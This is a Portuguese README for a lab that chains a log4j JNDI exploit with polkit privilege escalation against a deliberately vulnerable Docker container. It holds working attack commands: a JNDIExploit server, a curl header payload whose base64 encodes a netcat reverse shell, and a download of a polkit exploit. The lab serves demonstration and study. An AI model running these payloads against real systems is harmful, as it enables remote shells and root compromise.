
configuração vulnerável para exibir uma cadeia de ataque do log4j CVE-2021-44228 com escalonamento de privilégios para root usando o exploit do polkit CVE-2021-4034
Instância vulnerável para o exploit do log4j apache e escalonamento de privilégios usando polkit
A instância vulnerável estará em execução e escutando conexões na porta 80 (exposta à máquina host) após a conclusão das etapas abaixo. A parte vulnerável para o exploit do log4j é o cabeçalho X-Api-Version que é enviado ao servidor.
Docker: log4j-polkit-vulnerable-server
etapas para baixar e executar a imagem docker vulnerável:
docker pull 0xalwayslucky/log4j-polkit-vulnerable-server
docker run -p 80:8080 0xalwayslucky/log4j-polkit-vulnerable-server
etapas para criar manualmente uma instância vulnerável para log4j + polkit:
Nota: os Dockerfiles exigem que determinadas versões dos aplicativos vulneráveis estejam presentes nos repositórios do ubuntu. Se estes forem atualizados e/ou removidos a qualquer momento, a imagem docker falhará na construção. Para resolver isso, uma imagem será enviada para o docker hub e vinculada aqui.
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/log4j-polkit-vuln
docker build -t log4j-polkit-vulnerable-server .
docker run -p 80:8080 --hostname victim log4j-polkit-vulnerable-server
Isso simulará a máquina do atacante, neste caso presente na mesma rede (devido à fácil comunicação entre contêineres docker), mas o exploit funciona independentemente de onde este servidor de ataque esteja localizado (única condição é que ele seja acessível pela vítima). O servidor JNDI malicioso será hospedado aqui e criará uma classe maliciosa para executar comandos arbitrários na máquina da vítima.
etapas para criar uma máquina de ataque simulada:
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/attackserver
docker build -t attackserver .
docker run -it --hostname attackserver attackserver /bin/bash
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ip> -p 8888 & # no contêiner docker
comandos do vídeo do PoC
Nota: o endereço IP do attackserver pode variar
# Exploit do Log4j
curl http://localhost -H 'X-Api-Version: ${jndi:ldap://172.17.0.3:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMyA0NDQ0IC1lIC9iaW4vYmFzaA==}'
# Exploit do Polkit
wget https://raw.githubusercontent.com/afwu/CVE-2021-4035/main/cve-2021-4034-poc.c